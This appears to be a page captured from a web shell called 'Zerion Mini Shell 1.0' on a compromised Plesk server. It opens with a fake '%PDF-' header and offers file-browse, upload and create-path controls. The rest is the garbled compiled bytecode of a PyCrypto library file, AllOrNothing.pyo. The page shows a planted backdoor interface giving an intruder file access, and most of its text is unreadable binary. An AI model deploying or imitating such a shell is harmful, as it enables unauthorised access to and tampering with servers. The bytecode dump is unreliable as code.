%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/
Upload File :
Create Path :
Current File : //opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pyo

�
�ac@sVdZddlZddlZddlmZmZddlTd�Zdd d��YZe	dkrRddlZddl
Z
ddlZd	Zd
Z
dZdd�Zy,e
j
ejd
dddg�\ZZWn#e
jk
r�Zed
e�nXered
d�nxWeD]O\ZZed!kr<ed�qed"krQeZ
qed#krd
ZqqWede
dddg�Zee�ZdGHeGHdGHejee��ZdGHxWee e!e��e�D]:\Z"Z#de"Ger�ee#�GHq�ej$e#�d GHq�Wee�Z%e%j&e�Z'e'ee�krJdGHqRdGHndS($s$Id$i����N(t
bytes_to_longt
long_to_bytes(t*cCs-d}y||7}Wntk
r(dSXdS(Nii(t	TypeError(txttest((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pytisInt4s
tAllOrNothingcBsGeZddd�Zed�Zd�Zd�Zd�Zd�Z	RS(cCsV||_||_||_|j|_t|j�sF|jdkrRd|_ndS(Nii(t_AllOrNothing__ciphermodulet_AllOrNothing__modet_AllOrNothing__IVtkey_sizet_AllOrNothing__key_sizeR(tselftciphermoduletmodetIV((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pyt__init__Hs			iicCs|j|j�}|j|j}|j|�}|j|�}|jj}|t|�|}|td�|}tt|�|�d}g}	g}
x�t	d|d�D]�}|d|}||}
|||
!}|j
t||��}t|�t|�A}|	j
|�|j
t||A|��}|
j
t|��q�W|d}|j
t||��}|t|�A}|	j
|�|j
t||A|��}|
j
t|��t|�ttj|
�A}|	j
|�g|	D]}t||jj�^q�S(Nt ii(t
_inventkeyRt_AllOrNothing__K0digitt_AllOrNothing__newcipherRt
block_sizetlentbtdivmodtrangetencryptRRtappendtreducetoperatortxor(R
ttexttkeytK0tmcipherthcipherRtpadbyteststblocksthashestitstarttendtmitcipherblocktmtickithitmtick_stick((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pytdigest_s8






cCs�t|�dkrtd�ntt|�}|j|j}|j|�}|jj}g}xZt	dt|��D]C}||d|A}|j
t||��}|jt|��qtW|dt
tj|�A}	|jt|	|j��}
g}xZt	dt|��D]C}|
j
t||��}||dt|�A}
|j|
�qWt|d�}td�jtt|d ��}|| S(NisList must be at least length 2.ii����t(Rt
ValueErrortmapRRRRRRRRRRRRRtintRtjoin(R
R'R"R$RR(R)R.R/R!R#tpartsR-R,R%R ((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pytundigest�s*"cCs#ddlm}|j�j|�S(Ni����(tRandom(tCryptoR9tnewtread(R
RR9((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pyR�scCss|jdkr.|jdkr.|jj|�S|jdkrS|jj||j�S|jj||j|j�SdS(N(R	tNoneR
RR;(R
R!((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pyt__newcipher�s
N(
t__name__t
__module__R=RtbchrRR1R8RR(((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pyR<s	R	6	t__main__sDTest module usage: %(program)s [-c cipher] [-l] [-h]

Where:
    --cipher module
    -c module
        Cipher module to use.  Default: %(ciphermodule)s

    --aslong
    -l
        Print the encoded message blocks as long integers instead of base64
        encoded strings

    --help
    -h
        Print this help message
tAESicCs=|r|GHntitjdd6td6GHtj|�dS(NitprogramR(tusagemsgtsystargvRtexit(tcodetmsg((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pytusages

isc:lscipher=taslongsToo many argumentss-hs--helps-cs--ciphers-ls--aslongsCrypto.Cipher.R;sOriginal text:
==========s
==========smessage blocks:s    %3dsThey match!sThey differ!((s-hs--help(s-cs--cipher(s-ls--aslong((t__revision__RRFtCrypto.Util.numberRRtCrypto.Util.py3compatRRR?tgetopttbase64RERRLR=RKRGtoptstargsterrorRJtopttargt
__import__tmoduleRt__doc__R1Rt	msgblockstzipRRR)tblktencodestringtyR8R (((sS/opt/plesk/python/2.7/lib64/python2.7/site-packages/Crypto/Protocol/AllOrNothing.pyt<module>-sZ
	�
	
(

Zerion Mini Shell 1.0